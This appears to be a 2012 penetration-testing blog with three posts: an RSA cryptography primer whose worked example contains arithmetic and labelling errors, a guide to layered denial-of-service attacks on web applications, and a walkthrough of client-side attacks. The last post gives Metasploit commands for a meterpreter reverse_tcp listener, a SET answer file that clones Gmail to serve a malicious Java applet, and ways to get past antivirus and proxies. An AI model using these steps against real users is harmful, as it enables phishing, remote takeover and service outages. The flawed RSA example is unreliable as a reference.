03/11/2012

Crypto for pentesters


Introduction

The purpose of this paper is to emphasize in the importance of cryptography, focus in RSA asymmetric cryptographic algorithm and explain:

  • What is cryptography
  • Why cryptography is important
  • History of Cryptography
  • Mathematical RSA operations
  • How to perform an RSA brute-force

What is Cryptography

Cryptography (or cryptology; from Greek κρυπτός, kryptos, "hidden, secret"; and γράφω, gráphō, "I write", or -λογία, -logia, respectively) is the practice and study of hiding information. Modern cryptography intersects the disciplines of mathematics, computer science, and engineering. Applications of cryptography include ATM cards, computer passwords, and electronic commerce. [2]

Until recently cryptography referred mostly to encryption, which is the process of converting ordinary information (plaintext) into unintelligible gibberish (i.e. cipher-text). [4] Decryption is the reverse, in other words, moving from unreadable cipher-text back to plaintext. A cipher is a pair of algorithms that create the encryption and the reversing, also called decryption. [4] The operation of an algorithmic cipher is controlled by both the algorithm and in each instance by a key. The key is a secret parameter (ideally known only to the communicants) for a specific message exchange context. [4]

In order for two parties to exchange a cryptographic message both must have one or two secret keys (it depends if the parties use an asymmetric or a symmetric algorithm) and a known mathematical cryptographic algorithm (both parties must know the details of the cryptographic algorithm) the following diagram shows the process. 



Picture2: Simple encryption decryption operation (if the cryptography used is symmetric then key1=key2) [3]

Note: Secret keys are very important, as ciphers without variable size keys can be trivially broken with only the knowledge of the cipher used and are therefore not useful at all in most cases.

History of Cryptography

Before the modern era, cryptography was concerned solely with message confidentiality (i.e., encryption) — conversion of messages from a comprehensible form into an incomprehensible one and back again at the other end, rendering it unreadable by interceptors or eavesdroppers without secret knowledge (namely the key needed for decryption of that message). Encryption was used to (attempt to) ensure secrecy in communications, such as those of spies, military leaders, and diplomats. [6]

The earliest forms of secret writing required little more than local pen and paper analogy, as most people could not read. More literacy, or literate opponents, required actual cryptography. The main classical cipher types are transposition ciphers, which rearrange the order of letters in a message (e.g., 'hello world' becomes 'ehlol owrdl' in a trivially simple rearrangement scheme), and substitution ciphers, which systematically replace letters or groups of letters with other letters or groups of letters (e.g., 'fly at once' becomes 'gmz bu podf' by replacing each letter with the one following it in the Latin alphabet). [6]

Asymmetric and Symmetric Cryptography  

Cryptography consists from two main categories (some people might claim more categories but for the papooses of this paper two categories cover the needs of this paper). The fist category is symmetric cryptography and the second category is asymmetric cryptography.

Symmetric Cryptography

Symmetric Cryptography uses cryptographic algorithms that use identical cryptographic keys for both decryption and encryption (this is not entirely true, but again for the purposes of this paper we accept it as a fact).The Symmetric Cryptography keys, in practice, represent a shared secret between two or more parties that can be used to maintain a private information link. [5] The following simple mathematical relationships can describe the relation between decryption and encryption in Symmetric Cryptography.

Encryption ( k , Plaintext ) = Cipher (1) 

Decryption ( k , Cipher ) = Plaintext (2) 

Where k a secret shared value and Plaintext the data input we want to convert into cipher. From relationships (1) and (2) we can conclude that: 

Plaintext = Decryption ( k , Cipher ) = Decryption ( k , Encryption ( k , Plaintext )) (3) 

Note: Among the most popular and well-respected symmetric algorithms ARE Twofish, Serpent, AES (Rijndael), Blowfish, CAST5, RC4, TDES, and IDEA.





Picture3: Symmetric cryptography [7]

Asymmetric Cryptography


Asymmetric Cryptography also known as Public key cryptography is a cryptographic category which involves the use of asymmetric cryptographic key algorithms.The asymmetric key algorithms are used to create a mathematically related key pair: a secret private key and a published public key. [6]

The following simple mathematical relationships can describe the relation between decryption and encryption in Asymmetric Cryptography.

Encryption ( k1 , Plaintext ) =  Cipher (4)

Decryption ( k2 , Cipher ) =  Plaintext (5)

Where k2 a secret non shared value, k1 a non secret shared value and Plaintext the data input we want to convert into cipher. From relationships (4) and (5) we can conclude that:

Plaintext = Decryption ( k2 , Cipher ) = Decryption ( k2 , Encryption ( k1 , Plaintext )) (6)

In relationship we can realize that the decryption of the Plaintext is a more complex relationship that is dependents to both keys to be used.Public key cryptography is used widely. It is the approach which is employed by most cryptosystems. It underlies such Internet standards as Transport Layer Security (TLS), PGP, and GPG.The most famous asymmetric algorithm is RSA. In cryptography, RSA (which stands for Rivest, Shamir and Adleman who first publicly described it) is an algorithm for public-key cryptography. RSA is widely used in electronic commerce, and is believed to be secure when proper secret keys are used.






Picture4: Asymmetric cryptography [7]


Asymmetric and Symmetric Cryptography revised 

Unlike Symmetric Cryptography, Asymmetric Cryptography uses a different key for encryption than for decryption. I.e., a user knowing the encryption key of an asymmetric algorithm can encrypt messages, but cannot derive the decryption key and cannot decrypt messages encrypted with that key. This difference is the most obvious difference of Symmetric and Asymmetric Cryptography. Another difference of Symmetric and Asymmetric Cryptography is the mathematical properties of each type of algorithm and they way the mathematical algorithm is implemented in a hardware or software device (further explanation of these differences are out of the scope of this paper).

Why RSA is important

The RSA Cryptographic algorithm is being exploited by a company named also RSA. The company RSA is the security division of EMC (EMC acquired RSA for its security products in 2006). RSA Laboratories is the research center of RSA, The Security Division of EMC, and the security research group within the EMC Innovation Network. The group was established in 1991 at RSA Data Security, the company founded by the inventors of the RSA public-key cryptosystem. Through its applied research program and academic connections, RSA Laboratories provides state-of-the-art expertise in cryptography and data security for the benefit of RSA and EMC. [10]

Represented by the equation "c = me mod n," the RSA algorithm is widely considered the standard for encryption and the core technology that secures the vast majority of the e-business conducted on the Internet. The U.S. patent for the RSA algorithm (# 4,405,829, "Cryptographic Communications System And Method") was issued to the Massachusetts Institute of Technology (MIT) on September 20, 1983, licensed exclusively to RSA Security and expires on September 20, 2000. [9]

For nearly two decades, more than 800 companies spanning a range of global industries have turned to RSA Security as a trusted, strategic partner that can provide the proven, time-tested encryption implementations and resources designed to speed time to market. These companies, including nearly 200 so far in 2000, rely on RSA BSAFE® security software for its encryption implementation and value-added services for a broad range of B2B, B2C and wireless applications. [9]

Math’s behind RSA

The RSA algorithm involves the three following steps:
  1. Key generation.  
  2. Encryption. 
  3. Decryption.

Note: This is a simplistic approach of RSA.

RSA Key generation

RSA includes a public key and a private key. The public key can be known to everyone and is used for encrypting messages. Messages encrypted with the public key can only be decrypted using the private key. The keys are generated the following way:


1.     Choose two distinct prime numbers p and q. In mathematics, a prime number (or a prime) is a natural number that has exactly two distinct natural numbers 1 and itself. That means that a prime number can only be divided by 1 and itself: [13]

Example 1:  5/5 = 1

Example 2: 5/1 = 5

Very simplistically talking, it means that the remainder of the division of a prime number with any integer besides 1 and itself should be 0!!

Example 3: 5/2 = 2, 5 (2, 5 is not an integer)

The first fifteen prime numbers are:


Example 4: 2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47

Note: For security purposes, the integer’s p and q should be chosen uniformly at random and should be of similar bit-length. [8]



2.     Compute n = pq (a), where n is used as the modulus for both the public and private keys. For the purposes of this paper we will not use long secure integers. (as soon as we have the values n and φ, the values p and q will no longer be useful to us).

Note: For the algebra to work properly, these two primes must not be equal. To make the cipher strong, these prime numbers should be large, and they should be in the form of arbitrary precision integers with a size of at least 1024 bits (bits are used when cryptography is applied in real life examples).

Example 3:  (a) n = pq (b) which means that if p = 2 and q = 3 then n = 2*3 = 6 (both 2 and 3 are prime based in Example 4).



Now that we have the values n and φ, the values p and q will no longer be useful to us. However, we must ensure that nobody else will ever be able to discover these values. Destroy them, leaving no trace behind so that they cannot be used against us in the future. Otherwise, it will be very easy for an attacker to reconstruct our key pair and decipher our cipher text.

3.     Compute φ(pq) = (p − 1)(q − 1) (c) or φ(n) = (p − 1)(q − 1). (φ is Euler's totient function [11], Euler's totient function is out of the scope of this paper).

4.     Choose an integer e such that:

·      1 < e < φ (pq) or
·      1 < e < φ (n) or
·      1 < e < (p − 1) (q − 1) (d)

And e and φ (pq) have no common divisors other than 1. We randomly select a number e (the letter e is used because we will use this value during encryption) that is greater than 1, less than φ, and relatively prime to φ. Two numbers are said to be relatively prime if they have no prime factors in common. Note that e does not necessarily have to be prime.  

The value of e is used along with the value n to represent the public key used for encryption.

·      e is released as the public key exponent

5.     Determine d (using modular arithmetic) which satisfies the relation:




This is often computed using the extended Euclidean algorithm [12] (Euclidean algorithm is out of the scope of this paper).

·      d is kept as the private key exponent.

Note: To calculate the unique value d (to be used during decryption) that satisfies the requirement that, if d * e is divided by φ, then the remainder of the division is 1. The mathematical notation for this (as already described above) is d * e = 1(mod φ).

In mathematical jargon, we say that d is the multiplicative inverse of e modulo φ [15]. The value of d is to be kept secret. If you know the value of φ, the value of d can be easily obtained from e using a technique known as the Euclidean algorithm. If you know n (which is public), but not p or q (which have been destroyed), then the value of φ is very hard to determine. The secret value of d together with the value n represents the private key. The public key consists of the modulus n and the public (or encryption) exponent e. The private key consists of the modulus n and the private (or decryption) exponent d which must be kept secret.

RSA Encryption


RSA Cryptographic User A transmits his public key (n,e) to RSA Cryptographic User B and keeps his private key secret (d,e). RSA Cryptographic User B then wishes to send a secret integer m to RSA Cryptographic User A. He first turns m into an integer 0 < m < n by using an agreed-upon reversible procedure (only known to Users A and B). He then computes the cipher text c corresponding to: [9]




Note: And the encryption is successful. User A is the only person that can decrypt the secret integer m.  


RSA Decryption

RSA Cryptographic User A can recover m from c by using her private key exponent d by the following computation:





Note: Given m, he can recover the original message m by using the agreed-upon reversible procedure.


RSA Encryption/Decryption Simple example

For the purposes of this paper we are going to use a very simple number example. Based on Example 4 we have to:



1.     Choose q = 47 and q = 73. Based in mathematical relationship (b) is n = pq => n = 3431 also from relationship (c) we conclude that:

(c) =>  φ(pq) = (p − 1)(q − 1) or φ(n) = φ(pq) = φ(6) = (73-1)(47-1) = 72*46 = 3312 =>  φ = 3312


2.     Now that we have n and φ, we should discard p and q, and destroy any trace of their existence.

3.     Next, we randomly select a number e, that e > 1 and e is coprime [16] to 3312 (which is φ)We choose e = 425

4.     Then the modular inverse of e is calculated to be the following: d = 1769

5.     We now keep d private and make e and n public.

6.     Assume that we have plaintext data represented by the following simple number:

Plaintext = 707

7.     The encrypted data is computed by c = me (mod n) as follows:

Cipher text = 707^425(mod 3431) = 2142

8.     The cipher text value cannot be easily reverted back to the original plaintext without knowing d (or, equivalently, knowing the values of p and q). With larger bit sizes, this task grows exponentially in difficulty. If, however, you are privy to the secret information that d = 1769, then the plaintext is easily retrieved using     m = c d(mod n) as follows:

Plaintext = 2142^1769(mod 3431) = 707


Why RSA can’t break

The security of the RSA cryptosystem is based on two mathematical problems:

  1. The problem of factoring large numbers
  2. The RSA problem.
In number theory, integer factorization or prime factorization is the breaking down of a composite number into smaller non-trivial divisors, which when multiplied together equal the original integer. [17] In cryptography, the RSA problem summarizes the task of performing an RSA private-key operation given only the public key. [18] Full decryption of an RSA cipher text is thought to be infeasible on the assumption that both of these problems are hard because no efficient algorithm exists for solving them.


Appendix

C

Cryptography: Is the process of converting ordinary information (plaintext) into unintelligible gibberish.



Cipher: Is unintelligible gibberish



Coprime: In mathematics, two integers a and b are said to be coprime or relatively prime if they have no common positive factor other than 1 or, equivalently, if their greatest common divisor is 1. [16]

D



Decryption: Is the reverse process of encryption

M

Multiplicative inverse: In mathematics, a multiplicative inverse or reciprocal for a number x, denoted by 1x or x −1, is a number which when multiplied by x yields the multiplicative identity, 1. [15]

P

Plaintext: Is ordinary readable information

Problem of factoring large numbers: In number theory, integer factorization or prime factorization is the breaking down of a composite number into smaller non-trivial divisors, which when multiplied together equal the original integer. [17]

Prime numbers: In mathematics, a prime number (or a prime) is a natural number that has exactly two distinct natural number divisors: 1 and itself. [13]


References

[2]: Liddell and Scott's Greek-English Lexicon. Oxford University Press. (1984)



21/10/2012

Bloody Death DoS-ing

Introduction

In this article I am going to explain how to perform an amplified Denial Of Service (DoS) attack on a Web Application in a high level manner, but you should be aware that these are real world scenarios that I have implemented during costumer penetration tests. A successful DoS attack on a Web Application should happen in three different layers, the Web Application, the Web Application platform and the Web Server itself. It is common knowledge of course that you don't have to attack all three layers to successfully compromise the availability of a Web Server, but optimizing a DoS attack should be desirable from the perspective of an attacker. By using the word optimize I mean three things:
  1. Reduce to minimum the amount of the machines generating malicious traffic.
  2. Increase the amount Web Server downtime. 
  3. Increase the amount of remediation time (e.g. recover time).
  4. Increase collateral damage (e.g. break the database). 
But first I should explain what DoS attack means, in computing, a denial-of-service attack (DoS attack) or distributed denial-of-service attack (DDoS attack) is an attempt to make a machine or network resource unavailable to its intended users. Although the means to carry out, motives for, and targets of a DoS attack may vary, it generally consists of the efforts of one or more people to temporarily or indefinitely interrupt or suspend services of a host connected to the Internet.

Why talk about DoS/DDoS attacks

These attacks have become much more widespread and common in recent years and it is not just the major corporations that are being targeted. Many are now being focused on small and medium businesses as it is here that they stand the most chance of launching a successful attack as well as bringing the most havoc and chaos. The truth is that there is probably a vast majority of websites that do not currently have some type of DDoS attack protection and they will only suffer as a result.

Network-layer DDoS attacks are a popular tactic among hacktivists because they are generally low-tech and easy to carry out. The attacks typically employ a barrage of requests directed at a web server at a high frequency which can cause disruptions, rendering the targeted website inaccessible. Analyzing traffic can be a laborious undertaking, and reducing the volume of data to sift through with a first line of defense can prove advantageous in maintaining a robust network security stance.

Financial firms were in the crosshairs of cyber-attackers during the first three months of 2012, while a threefold increase in DDoS attacks was recorded. DDoS mitigation biz Prolexic reports that the growth in the number of attacks against its clients in banking and insurance was accompanied by a 3,000 per cent increase in malicious packet traffic (up from 14 billion packets of malicious traffic in Q4 2011 to 1.1 trillion in Q1 2012). 

Methods of performing a DoS or DDoS attack

A "denial-of-service" attack is characterized by an explicit attempt by attackers to prevent legitimate users of a service from using that service. There are two general forms of DoS attacks: those that crash services and those that flood services.

A DoS attack can be perpetrated in a number of ways. The five basic types of attack are:
  1. Consumption of computational resources, such as bandwidth, disk space, or processor time.
  2. Disruption of configuration information, such as routing information.
  3. Disruption of state information, such as unsolicited resetting of TCP sessions.
  4. Disruption of physical network components.
  5. Obstructing the communication media between the intended users and the victim so that they can no longer communicate adequately.
A DoS attack may include execution of malware intended to:
  1. Max out the processor's usage, preventing any work from occurring.
  2. Trigger errors in the microcode of the machine.
  3. Trigger errors in the sequencing of instructions, so as to force the computer into an unstable state or lock-up.
  4. Exploit errors in the operating system, causing resource starvation and/or thrashing, i.e. to use up all available facilities so no real work can be accomplished.
  5. Crash the operating system itself. 
Note:  The definition of the DoS and DDoS attack was taken directly from Wikipedia (the link can be located at the bottom of the article). Wikipedia has a very good definition of what DoS and DDoS attack is, what is missing is how can these conditions (1 through 5) can happen in 2012 (which I think it is out of scope of the wiki article anyway), meaning that the article is outdated and does not cover all conditions because it is reducing the attack surface to the machines surrounding the victim machine, the operating system (OS) of the victim machine and hardware of the victim machine.  

Defining a valid DoS and DDoS attack surface

When I am referring to the attack surface of a DoS or DDoS attack I mean the components someone should be attacking in a Web Application. The components are:
  1. The Web Application.
  2. The Web Application Platform.
  3. The Web Server.    
Note: Each component has it own peculiarities and has to be treated differently in order to have the best possible outcome.

Special care should also be taken into consideration when attacking each layer separately and of course a detailed auditing of the engaged technologies must be conducted before launching the attack. What I mean is that based on the type of the attack planned and the way the Web system behaves a relatively complex customized DoS or DDoS attack can be launch in a highly effective manner (you will understand later what I mean by saying that).

The following picture shows how different vulnerabilities can be associated with each layer and cause a DoS attack:


Note: The above diagram shows how combined attacks to all three layers of the target server can be used to amplifie a DoS or DDoS attack and make it practically unstoppable. Imagine an advanced attacker launching an attack like that (meaning combining all different type of vulnerabilities).

A generic low tech DoS attack might be easy to defeat when proper countermeasures are taken, but what happens when the attacker knows also the counter measures for the counter measures a defender would use? Well you might be confused now, but hopefully you will understand what I mean later on.

DoS-ing the Web Application Server        

A number of well documented and known, but not so interesting attacks can be launched in a Web Server level by simply performing one of the well known and famous attacks named below (this is a sample of the total amount of DoS and DDoS attack types someone can use against a Web Server):
  • ICMP flood also known as Smurf attack
    • A smurf attack is one particular variant of a flooding DoS attack on the public Internet. It relies on misconfigured network devices that allow packets to be sent to all computer hosts on a particular network via the broadcast address of the network, rather than a specific machine. The network then serves as a smurf amplifier.
Note: This is an outdated attack and most of the time is not going to be feasible to high profile targets such as important US government web sites for example. But can be used for diversion e.g. flooding surrounding machines along with the target machine might confuse the intrusion prevention middle device (simplistically speaking of course) about the network source of the attackers.
  • SYN flood
    • A SYN flood occurs when a host sends a flood of TCP/SYN packets, often with a forged sender address. Each of these packets is handled like a connection request, causing the server to spawn a half-open connection, by sending back a TCP/SYN-ACK packet (Acknowledge), and waiting for a packet in response from the sender address (response to the ACK Packet). 
Note: This is an old and well documented attack that is also not very interesting and counter measures exist for years about this specific attack from various vendors. 
  • SSL DoS
    • SSL-DoS exploits an SSL design flow by overloading the server and knocking it off the Internet.This problem affects all SSL implementations today. The vendors are aware of this problem since 2003 and the topic has been widely discussed. This attack further exploits the SSL secure Renegotiation feature to trigger thousands of renegotiations via single TCP connection.
Note: Establishing a secure SSL connection requires 15x more processing power on the server than on the client, which implies that an asymmetric resource starvation attack will happen.
  • Buffer Overflow DoS Attacks
    • The data transferred to a user input buffer exceeds the storage capacity of the buffer and some of the data overflows into another buffer, one that the data was not intended to go into. Since buffers can only hold a specific amount of data, when that capacity has been reached the data has to flow somewhere else, typically into another buffer, which can corrupt data that is already contained in that buffer. This can be elevated to remote command shell that would give the attacker to remotely shutdown or  reboot the system or simply crash the underlaying operating system.    
Note: Again this type of attack is considered to be a relatively advanced type of attack especially when zero day exploits are used, it also implies that an asymmetric DoS attack can happen.  

DoS-ing the Web Application and Application platform

A DoS attack can also happen in a Web Application or Web Application platform layer. These types of attacks are usually very rear or do not become public most of the time, I call them low publicity DoS and DDoS attacks. The complexity of these attacks is significantly higher than the previous ones if you exclude the Buffer Over flow and SSL DoS attacks (when you don't use online hacking tools). The concept behind these type of attacks is that the attacker has to have knowledge of the Web Application input validation filters. In order for me to be more clear I will list below the ones I consider the most popular input validation DoS and DDoS attacks:
  • SQL Injection DoS attack
    • SQL injection is a technique often used to attack a website. This is done by including portions of SQL statements in a Web Application user or none user entry point in an attempt to get the website to pass a newly formed rogue SQL command to the database, now if the injected command contains a valid SQL shutdown command then the outcome would be to for the database to shutdown, crashing the Web System under attack.
Note: Obviously someone can perform an asymmetric DoS attack of this type. You should also take into consideration the fact that an attacker can exploit the same way also a blind SQL injection. A Web Application firewall would not stop a SQL Injection DoS attack if the attacker obfuscates her SQL payloads (for more information on the subject see previous posts).
  • Directory traversal DoS or DDoS attack
    • A directory traversal (or path traversal) consists in exploiting insufficient security validation / sanitization of user-supplied input file names, so that characters representing "traverse to parent directory" are passed through to the file APIs, also directory traversal attacks can be expanded through bad privilege assignment. Being able to request large size files from the host operating system is usually something that is going to slow down significantly Web Application performance and that is something the Web Application was initially not designed for. 
Note: This type of attack is likely to be successful in a DDoS type of attack. Imagine multiple users requesting the /dev/random in a unix-like operating system. For more information on obfuscating path traversal check this link.
  • External Entity Injection DoS attack 
    • An External Entity Injection (XXE) is generally speaking a type of XML injection that allows an attacker to force a badly configured XML parser to "include" or "load" unwanted functionality that compromise the security of a web application. Now days is rear to find this types of security issues.  This type of attack is well documented and known since 2002. By exploiting an XXE injection you can perform a similar attack to the directory traversal DoS attack by loading large size documents.   
Note: Again imagine an attacker requesting large size file from  the hosting operating system and specially in unix-like operating systems the /dev/random file.
  • Web Application Design DoS Attack
    • A Web Application design DoS attack (WADD) is feasible when the Web Application does not take into consideration how a Web Application behaves when thousands of malicious payload are send. This type of attack also has to do with Web filter malicious payload processing time, for example a Buffer Overflow payloads would probably increase Web filter processing time.  
Note:  Imagine an advanced attacker brute forcing Web Application user accounts connected directly to an Active Directory Server. If the Web Application does not have a proper lock out mechanism then Active Directory accounts will be locked.

The picture below shows a schematic representation of all three attacks mentioned above:


Note:  See that at the diagram above the Web filter is particularly emphasized.

By now you should be able to understand that in most occasions when someone is fuzzing the Web Application parameters, then the corresponding server http response, to the malicious http request is going to start vary as far as the time delay is concerned. One of the desired side effects of that process would be be the increase of your chance to randomly crash the Web Application if the Web Application is not vulnerable to any of the Web Application layer mentioned above (it should be noted at this point that this is a conclusion based on my experience and I don't keep keep statistics of the crushed Web Applications).

The diagram below shows a schematic representation of how a web filter is DoS attacked:


Note: A Web Application that does not use Web filters at all is possibly vulnerable to one or more of the vulnerabilities mentioned above. A Web Application that does use Web filters might be vulnerable to a Web filter DoS attack.

DoSing the Web filters

Web filtering is very important in a Web Application. Imagine a regular expression performing white list filtering in the server side, filtering thousands of malicious http requests. The processing time of the malicious request can dramatically increase if the implementation of the filter is bad, for example if you have a Web Application field that excepts as an input a three digit number then the Application should stop processing that request after 10 first failed attempts, in fact during none production functional testing (e.g. load stress tests) a Web Application might cause DoS/DDoS attack to itself due to bad Web Application filtering. You may also encounter filters which, rather than blocking input containing the items in the preceding list, attempt to modify the input to make it safe, either by encoding or escaping problematic characters or by stripping the offending items from the input and processing what is left in a normal way. Simplistically speaking an application should understand when it is being attacked and reject incoming traffic from the malicious ip (e.g. bind session with ip).

The following diagram shows a conceptual representation of what I mean:      


Note: The malicious http request is rejected immediately after it meets the specific criteria of being characterized as malicious.

Combining all DoS attack types together

An advanced attacker when combining all the DoS and DDoS attacks explained above would definitely have very good results in compromising the availability of the target server. A combined attack would have the desired results listed below:
  1. Decrease of the amount of the attacking machines required to bring down the server, since asymmetric and symmetric types of DoS attacks are engaged.
  2. Decrease of the amount of time needed to crash the server since the attack is multi-layered, taking advantage of a larger number of vulnerabilities identified in the server.
  3. Increase the amount of time of remediation due to the complexity of the attack, therefor increasing the server down time.   
Prevention and response

Defending against Denial of Service attacks typically involves the use of a combination of attack detection, traffic classification and response tools, aiming to block traffic that they identify as illegitimate and allow traffic that they identify as legitimate. But in a situation of a combined attack such as the one above there is not much that can be done. My assumption is that a combination of properly configured Intrusion Prevention System, Web Application Firewall and Database Application Firewall might prevent a DoS or DDoS attack such as the one I described above.

References:
  1.  http://en.wikipedia.org/wiki/Denial-of-service_attack
  2. http://stop-ddos.net/en/blog/article/11 
  3. http://www.securitybistro.com/blog/?p=2500
  4. http://www.theregister.co.uk/2012/04/12/prolexic_ddos_trends/
  5. http://www.thc.org/thc-ssl-dos/

08/09/2012

Industrializing Client Side Attacks

Introduction

Cybercrime has evolved into an industry whose value in fraud and stolen property exceeded one trillion dollars in 2009. By contrast, in 2007, professional hacking represented a multibillion-dollar industry. What explains this rapid growth? Industrialization. Just as the Industrial Revolution advanced methods and accelerated assembly from single to mass production in the 19th century, today’s cybercrime industry has similarly transformed and automated itself to improve efficiency, scalability, and profitability.

The industrialization of hacking coincides with a critical shift in focus. Previously, hackers concentrated attacks on breaking perimeter defences. But today, the goal has changed. The objective is no longer perimeter penetration and defense. Today’s hacker is intent on seizing control of data and the applications that move this data. This is why attacks against Web applications constitute more than 60 percent of total attack attempts observed on the Internet.

Today's Hacking Scene

Today’s complex hacking operation now utilizes teamwork, global coordination, and sophisticated criminal techniques designed to elude detection. In recent years, a clear definition of roles and responsibilities has developed within the hacking community forming a supply chain that resembles that of a drug cartel. Additionally, the machine of choice is the botnet – armies of unknowingly enlisted computers controlled by hackers. Modern botnets scan and probe the Web seeking to exploit vulnerabilities and extract valuable data, conduct brute force password attacks, disseminate spam, distribute malware, and manipulate search engine results. These botnets operate with the same comprehensiveness and efficiency used by Google spiders to index websites. Researchers estimate that some 14 million computers have already been enslaved by botnets.

Improvements in automated and formalized attack tools and services have introduced a new set of security problems for businesses.  Of the top 10 data breaches in 2009, half involved stolen laptops, while the other half involved Web and database assaults.

Client side attacks are on the rise

Client-side vulnerabilities are among the biggest threats facing users, nowadays's there has been a slight shift to the client side because server-side applications have been targets for attackers since 2001, and these applications have matured somewhat. Attackers are also going after weaknesses in desktop applications such as browsers, media players, common office applications and e-mail clients. The remedy is to maintain the most current application patch levels, keep antivirus software updated and seek and remove unauthorized applications.

Understanding client side attacks

In order to understand client-side attacks, let us briefly describe server-side attacks that we can contrast to client-side attacks. Servers expose services that clients can interact with. These services are accessible to clients that would like to make use of these services. As a server exposes services, it exposes potential vulnerabilities that can be attacked. Merely running a server puts oneself at risk, because a hacker can initiate an attack on the server at any time.

Client-side attacks are quite different. These are attacks that target vulnerabilities in client applications that interact with a malicious server or process malicious data. Here, the client initiates the connection that could result in an attack. If a client does not interact with a server, it is not at risk, because it doesn’t process any potentially harmful data sent from the server.

A typical example of a client-side attack is a malicious web page targeting a specific browser vulnerability that, if the attack is successful, would give the malicious server complete control of the client system. Client-side attacks are not limited to the web setting, but can occur on any client/server pairs, for example e-mail, FTP, instant messenging, multimedia streaming, etc.

Clients are only protected in environments where access from internal clients to servers on the Internet is restricted via traditional defenses like firewalls or proxies. However, a firewall, unless combined with other technologies such as IPS, only restricts network traffic; once the traffic is permitted, a client interacting with a server is at risk. More advanced corporate server filtering solutions are available, but typically these only protect limited set of client technologies.

Drop-ing the payload

There are various way an a attacker can drop her payload to the targeted workstation or laptop, some of them are listed below:
  1. Through clicking evil links hiding malicious payloads hold on a malicious server controlled by the attacker.
  2. Through vulnerable web servers by either compromising them or exploiting vulnerabilities on them.
  3. Through Man In The Middle attacks.
  4. Through phishing e-mails also holding malicious payloads.
  5. Through various other attacks that are out of the scope of this article.
The following image shows one of the most popular ways to "seduce" a user into clicking on a malicious web site:


Note: This is an old fashioned attack approach, very well replicated by the penetration testing community during hacking attack. Of course social engineering is also used through out that process.

The actual attack simplified 

All you need to perform this type of attack is the Social Engineering Toolkit (SET) and Metasploit, well not exactly, that is not true if you are targeting high profile targets. But first lets explain the simplified version of the attack. In order the perform client side attack to a user that is NOT protected by some serious hardening such as a reverse SSL proxy with content inspection features and a firewall with proper egress filtering then the tools mentioned above will do the job. By using the tools described above the following steps have to be taken:
  1. Set up a listener bind to a public IP or DNS name.
  2. Demonize the listener. 
  3. Research the victims laptop software and hardware. 
  4. Social engineer the user to download and execute it to her laptop.
  5. Use proper payloads for post exploiting the victim.
Note:  Again this is a simplified attack sequence and is not going to work in a laptop or workstation that is hardened and the user is not allowed to install software.

Setting up the listener

So after we successfully generate the desired payload,using SET, and verify that it is a valid payload, by issuing the commands listed below we move forward on how to launch the handler on the attackers machine, so in order to do that we type the following commands in the order given below:
  1. cd /pentest/exploits/framework3
  2. ./msfconsole 
  3. msf > use exploit/multi/handler
  4. msf exploit(handler)> set PAYLOAD windows/meterpreter/reverse_tcp
  5. msf exploit(handler)> set LHOST publicIP
  6. msf exploit(handler)> set LPORT 123
  7. msf exploit(handler)> exploit -j
Note:  The attackers machine should be accessible some how from victims machine (e.g. by using a publicly static IP or DynDNS).

Generating the payload and setting up the clone

SET is specifically designed to perform advanced attacks against the human element. SET was designed to be released with the http://www.social-engineer.org launch and has quickly became a standard tool in a penetration testers arsenal. SET has a feature called “set-automate” which will take an answer file as an input and enter the commands in the menu mode for you. So for example if I wanted to do the Java Applet I would create a file with the following text:

1
2
1

https://gmail.com no

Now lets name the file mySET.txt, the command that will execute a java applet attack would be:

root@bt:/pentest/exploits/set# ./set-automate mySET.txt 

Note: The described configuration will launch a multiple web-based attack from SET using the Java Applet attack method by embedding a malicious Java Applet to a gmail clone. SET will also launch the listener but it would better if you do it manually.

After a successful compromise

If the victim is properly social engineered and execute the payload then the meterpreter agent will launch back a remote shell connection. The Meterpreter (short for Meta Interpreter) payload will give an attacker a presence in memory only payload, and reduce the attackers need to touch disk to zero. Metasploit will upload a DLL (Meterpreter) to the remote host; the uploaded DLL will be stored in the compromised processes heap. Meterpreter once loaded offers the attacker a plethora of options.

Once Meterpreter’s staged shellcode has been executed and Meterpreter has been loaded, communication begins. Meterpreter’s communication and extensibility are what makes it so valuable to an advanced attacker. For the purposes of this article think about the attacker as the client, and the victim as the server.Meterpreter uses a protocol called Type Length Value (TLV).

Why the above methods wont work on a corporate environment

When referring to a hardened corporate environment a set of prevention technologies is used to protect the user workstations such as anti-virus software, endpoint security software with personal firewall, web gateways performing deep content inspection to non-encrypted connections, reverse SSL proxies filtering all SSL connections that validate certificates and finally IDS/IPS devices are also included. So the reason an amateur will fill is:
  1. Many advanced payloads do not work very well running in x86-64 (Windows).
  2. Very restrictive inbound and outbound firewall rules are applied.
  3. Proxy authentication is required for outgoing connections.
Note:  These are not the only reasons just the most basic.


Bypassing defenses

There are numerous techniques defeating all defenses mentioned above some of them are:
  1. Code signing certificate for the payload (e.g. for the Meterpreter executable or the Meterpreter malicious Java Applet).
  2. A SSL certificate from a trustworthy Certificate Authority, for the payload communication protocol.
  3. Use costume communication protocol instead of the one used by the Meterpreter since you don't want to be detected and blocked because you’re mimicking the behavior of a well-known hacking tool.The Metasploit meterpreter reverse_http(s) payload contains the string "Meterpreter" on the User-Agent variable.
  4.  Create a custom payload or add your own evasion techniques, this way almost any signature detection system can be bypassed.
  5. Avoid process dll injection while delivering the payload. The latest versions of windows enforce session separation so some of the methods may not work on the latest version of windows like windows 7/8.
Why code signing is not secure

Code signing can provide several valuable features. The most common use of code signing is to provide security when deploying; in some programming languages, it can also be used to help prevent namespace conflicts. Almost every code signing implementation will provide some sort of digital signature mechanism to verify the identity of the author or build system, and a checksum to verify that the object has not been modified. It can also be used to provide versioning information about an object or to store other meta data about an object.

Many code signing implementations will provide a way to sign the code using a system involving a pair of keys, one public and one private, similar to the process employed by SSL or SSH. For example, in the case of .NET, the developer uses a private key to sign their libraries or executables each time they build. This key will be unique to a developer or group or sometimes per application or object. The developer can either generate this key on their own or obtain one from a trusted certificate authority (CA).Of course it is not so difficult to sign a malicious code, unauthorized digital certificates have been found that chain up to a Microsoft sub-certification authority issued under the Microsoft Root Authority that can be used to sign malicious code.

More specifically components of the Flame malware were found to be signed with a certificate that chained up to the Microsoft Enforced Licensing Intermediate PCA certificate authority, and ultimately, to the Microsoft Root Authority. This code-signing certificate came by way of the Terminal Server Licensing Service that operate to issue certificates to customers for ancillary PKI-based functions in their enterprise. Such a certificate could (without this update being applied) also allow attackers to sign code that validates as having been produced by Microsoft.

Why valid certificates are not secure

Obtaining a valid certificate and using it with SET is easy. The fact that this is easy can be verified by numerous web site reporting compromised certificates, one of them is this one:
